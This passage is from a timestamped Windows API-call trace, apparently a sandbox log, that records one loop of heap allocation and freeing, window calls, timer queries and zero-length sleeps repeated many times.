(HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.377] GetProcessHeap () returned 0x790000 [0033.377] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.377] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.377] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.377] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.378] timeGetTime () returned 0x11435df [0033.378] Sleep (dwMilliseconds=0x0) [0033.378] GetProcessHeap () returned 0x790000 [0033.378] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.378] GetProcessHeap () returned 0x790000 [0033.378] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.378] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.378] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.378] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.378] timeGetTime () returned 0x11435df [0033.378] Sleep (dwMilliseconds=0x0) [0033.378] GetProcessHeap () returned 0x790000 [0033.378] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.378] GetProcessHeap () returned 0x790000 [0033.378] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.378] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.378] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.378] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.378] timeGetTime () returned 0x11435df [0033.378] Sleep (dwMilliseconds=0x0) [0033.378] GetProcessHeap () returned 0x790000 [0033.378] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.378] GetProcessHeap () returned 0x790000 [0033.378] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.378] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.378] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.378] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.378] timeGetTime () returned 0x11435df [0033.378] Sleep (dwMilliseconds=0x0) [0033.378] GetProcessHeap () returned 0x790000 [0033.378] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.378] GetProcessHeap () returned 0x790000 [0033.378] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.378] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.378] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.378] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.378] timeGetTime () returned 0x11435df [0033.378] Sleep (dwMilliseconds=0x0) [0033.378] GetProcessHeap () returned 0x790000 [0033.379] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.379] GetProcessHeap () returned 0x790000 [0033.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.379] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.379] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.379] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.379] timeGetTime () returned 0x11435df [0033.379] Sleep (dwMilliseconds=0x0) [0033.379] GetProcessHeap () returned 0x790000 [0033.379] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.379] GetProcessHeap () returned 0x790000 [0033.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.379] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.379] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.379] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.379] timeGetTime () returned 0x11435df [0033.379] Sleep (dwMilliseconds=0x0) [0033.379] GetProcessHeap () returned 0x790000 [0033.379] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.379] GetProcessHeap () returned 0x790000 [0033.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.379] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.379] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.379] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.379] timeGetTime () returned 0x11435df [0033.379] Sleep (dwMilliseconds=0x0) [0033.379] GetProcessHeap () returned 0x790000 [0033.379] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.379] GetProcessHeap () returned 0x790000 [0033.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.379] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.379] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.379] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.379] timeGetTime () returned 0x11435df [0033.379] Sleep (dwMilliseconds=0x0) [0033.379] GetProcessHeap () returned 0x790000 [0033.379] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.379] GetProcessHeap () returned 0x790000 [0033.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.380] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.380] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.380] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.380] timeGetTime () returned 0x11435df [0033.380] Sleep (dwMilliseconds=0x0) [0033.380] GetProcessHeap () returned 0x790000 [0033.380] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.380] GetProcessHeap () returned 0x790000 [0033.380] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.380] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.380] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.380] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.380] timeGetTime () returned 0x11435df [0033.380] Sleep (dwMilliseconds=0x0) [0033.380] GetProcessHeap () returned 0x790000 [0033.380] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.380] GetProcessHeap () returned 0x790000 [0033.380] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.380] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.380] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.380] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.380] timeGetTime () returned 0x11435df [0033.380] Sleep (dwMilliseconds=0x0) [0033.380] GetProcessHeap () returned 0x790000 [0033.380] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.380] GetProcessHeap () returned 0x790000 [0033.380] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.380] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.380] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.380] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.380] timeGetTime () returned 0x11435df [0033.380] Sleep (dwMilliseconds=0x0) [0033.380] GetProcessHeap () returned 0x790000 [0033.380] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.380] GetProcessHeap () returned 0x790000 [0033.380] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.380] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.380] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.380] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.380] timeGetTime () returned 0x11435df [0033.381] Sleep (dwMilliseconds=0x0) [0033.381] GetProcessHeap () returned 0x790000 [0033.381] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.381] GetProcessHeap () returned 0x790000 [0033.381] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.381] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.381] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.381] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.381] timeGetTime () returned 0x11435df [0033.381] Sleep (dwMilliseconds=0x0) [0033.381] GetProcessHeap () returned 0x790000 [0033.381] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.381] GetProcessHeap () returned 0x790000 [0033.381] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.381] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.381] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.381] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.381] timeGetTime () returned 0x11435df [0033.381] Sleep (dwMilliseconds=0x0) [0033.381] GetProcessHeap () returned 0x790000 [0033.381] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.381] GetProcessHeap () returned 0x790000 [0033.381] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.381] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.381] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.381] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.381] timeGetTime () returned 0x11435df [0033.381] Sleep (dwMilliseconds=0x0) [0033.381] GetProcessHeap () returned 0x790000 [0033.381] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.381] GetProcessHeap () returned 0x790000 [0033.381] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.381] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.381] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.381] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.381] timeGetTime () returned 0x11435df [0033.381] Sleep (dwMilliseconds=0x0) [0033.381] GetProcessHeap () returned 0x790000 [0033.382] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.382] GetProcessHeap () returned 0x790000 [0033.382] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.382] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.382] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.382] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.382] timeGetTime () returned 0x11435df [0033.382] Sleep (dwMilliseconds=0x0) [0033.382] GetProcessHeap () returned 0x790000 [0033.382] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.382] GetProcessHeap () returned 0x790000 [0033.382] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.382] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.382] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.382] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.382] timeGetTime () returned 0x11435df [0033.382] Sleep (dwMilliseconds=0x0) [0033.382] GetProcessHeap () returned 0x790000 [0033.382] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.382] GetProcessHeap () returned 0x790000 [0033.382] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.382] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.382] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.382] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.382] timeGetTime () returned 0x11435df [0033.382] Sleep (dwMilliseconds=0x0) [0033.382] GetProcessHeap () returned 0x790000 [0033.382] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.382] GetProcessHeap () returned 0x790000 [0033.382] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.382] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.382] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.382] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.382] timeGetTime () returned 0x11435df [0033.382] Sleep (dwMilliseconds=0x0) [0033.382] GetProcessHeap () returned 0x790000 [0033.382] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.382] GetProcessHeap () returned 0x790000 [0033.382] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.382] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.383] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.383] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.383] timeGetTime () returned 0x11435df [0033.383] Sleep (dwMilliseconds=0x0) [0033.383] GetProcessHeap () returned 0x790000 [0033.383] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.383] GetProcessHeap () returned 0x790000 [0033.383] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.383] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.383] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.383] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.383] timeGetTime () returned 0x11435df [0033.383] Sleep (dwMilliseconds=0x0) [0033.383] GetProcessHeap () returned 0x790000 [0033.383] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.383] GetProcessHeap () returned 0x790000 [0033.383] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.383] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.383] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.383] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.383] timeGetTime () returned 0x11435df [0033.383] Sleep (dwMilliseconds=0x0) [0033.383] GetProcessHeap () returned 0x790000 [0033.383] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.383] GetProcessHeap () returned 0x790000 [0033.383] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.383] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.383] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.383] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.383] timeGetTime () returned 0x11435df [0033.383] Sleep (dwMilliseconds=0x0) [0033.383] GetProcessHeap () returned 0x790000 [0033.383] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.383] GetProcessHeap () returned 0x790000 [0033.383] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.383] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.383] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.383] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.383] timeGetTime () returned 0x11435df [0033.383] Sleep (dwMilliseconds=0x0) [0033.384] GetProcessHeap () returned 0x790000 [0033.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.384] GetProcessHeap () returned 0x790000 [0033.384] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.384] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.384] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.384] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.384] timeGetTime () returned 0x11435df [0033.384] Sleep (dwMilliseconds=0x0) [0033.384] GetProcessHeap () returned 0x790000 [0033.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.384] GetProcessHeap () returned 0x790000 [0033.384] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.384] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.384] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.384] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.384] timeGetTime () returned 0x11435df [0033.384] Sleep (dwMilliseconds=0x0) [0033.384] GetProcessHeap () returned 0x790000 [0033.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.384] GetProcessHeap () returned 0x790000 [0033.384] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.384] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.384] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.384] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.384] timeGetTime () returned 0x11435df [0033.384] Sleep (dwMilliseconds=0x0) [0033.384] GetProcessHeap () returned 0x790000 [0033.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.384] GetProcessHeap () returned 0x790000 [0033.384] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.384] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.384] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.384] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.384] timeGetTime () returned 0x11435df [0033.384] Sleep (dwMilliseconds=0x0) [0033.384] GetProcessHeap () returned 0x790000 [0033.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.385] GetProcessHeap () returned 0x790000 [0033.385] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.385] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.385] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.385] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.385] timeGetTime () returned 0x11435df [0033.385] Sleep (dwMilliseconds=0x0) [0033.385] GetProcessHeap () returned 0x790000 [0033.385] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.385] GetProcessHeap () returned 0x790000 [0033.385] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.385] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.385] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.385] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.385] timeGetTime () returned 0x11435df [0033.385] Sleep (dwMilliseconds=0x0) [0033.385] GetProcessHeap () returned 0x790000 [0033.385] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.385] GetProcessHeap () returned 0x790000 [0033.385] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.385] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.385] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.385] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.385] timeGetTime () returned 0x11435df [0033.385] Sleep (dwMilliseconds=0x0) [0033.385] GetProcessHeap () returned 0x790000 [0033.385] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.385] GetProcessHeap () returned 0x790000 [0033.385] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.385] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.385] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.385] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.385] timeGetTime () returned 0x11435df [0033.385] Sleep (dwMilliseconds=0x0) [0033.385] GetProcessHeap () returned 0x790000 [0033.385] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.385] GetProcessHeap () returned 0x790000 [0033.385] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.385] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.386] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.386] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.386] timeGetTime () returned 0x11435df [0033.386] Sleep (dwMilliseconds=0x0) [0033.386] GetProcessHeap () returned 0x790000 [0033.386] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.386] GetProcessHeap () returned 0x790000 [0033.386] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.386] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.386] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.386] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.386] timeGetTime () returned 0x11435df [0033.386] Sleep (dwMilliseconds=0x0) [0033.386] GetProcessHeap () returned 0x790000 [0033.386] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.386] GetProcessHeap () returned 0x790000 [0033.386] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.386] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.386] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.386] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.386] timeGetTime () returned 0x11435df [0033.386] Sleep (dwMilliseconds=0x0) [0033.386] GetProcessHeap () returned 0x790000 [0033.386] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.386] GetProcessHeap () returned 0x790000 [0033.386] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.386] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.386] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.386] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.386] timeGetTime () returned 0x11435df [0033.386] Sleep (dwMilliseconds=0x0) [0033.386] GetProcessHeap () returned 0x790000 [0033.386] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.386] GetProcessHeap () returned 0x790000 [0033.386] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.386] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.386] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.386] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.386] timeGetTime () returned 0x11435df [0033.386] Sleep (dwMilliseconds=0x0) [0033.387] GetProcessHeap () returned 0x790000 [0033.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.387] GetProcessHeap () returned 0x790000 [0033.387] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.387] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.387] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.387] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.387] timeGetTime () returned 0x11435df [0033.387] Sleep (dwMilliseconds=0x0) [0033.387] GetProcessHeap () returned 0x790000 [0033.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.387] GetProcessHeap () returned 0x790000 [0033.387] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.387] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.387] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.387] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.387] timeGetTime () returned 0x11435df [0033.387] Sleep (dwMilliseconds=0x0) [0033.387] GetProcessHeap () returned 0x790000 [0033.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.387] GetProcessHeap () returned 0x790000 [0033.387] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.387] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.387] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.387] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.387] timeGetTime () returned 0x11435df [0033.387] Sleep (dwMilliseconds=0x0) [0033.387] GetProcessHeap () returned 0x790000 [0033.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.387] GetProcessHeap () returned 0x790000 [0033.387] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.387] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.387] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.387] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.387] timeGetTime () returned 0x11435df [0033.387] Sleep (dwMilliseconds=0x0) [0033.387] GetProcessHeap () returned 0x790000 [0033.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.388] GetProcessHeap () returned 0x790000 [0033.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.388] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.388] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.388] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.388] timeGetTime () returned 0x11435df [0033.388] Sleep (dwMilliseconds=0x0) [0033.388] GetProcessHeap () returned 0x790000 [0033.388] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.388] GetProcessHeap () returned 0x790000 [0033.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.388] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.388] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.388] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.388] timeGetTime () returned 0x11435ef [0033.388] Sleep (dwMilliseconds=0x0) [0033.388] GetProcessHeap () returned 0x790000 [0033.388] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.388] GetProcessHeap () returned 0x790000 [0033.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.388] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.388] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.388] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.388] timeGetTime () returned 0x11435ef [0033.388] Sleep (dwMilliseconds=0x0) [0033.388] GetProcessHeap () returned 0x790000 [0033.388] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.388] GetProcessHeap () returned 0x790000 [0033.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.388] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.388] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.388] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.388] timeGetTime () returned 0x11435ef [0033.388] Sleep (dwMilliseconds=0x0) [0033.388] GetProcessHeap () returned 0x790000 [0033.388] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.388] GetProcessHeap () returned 0x790000 [0033.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: 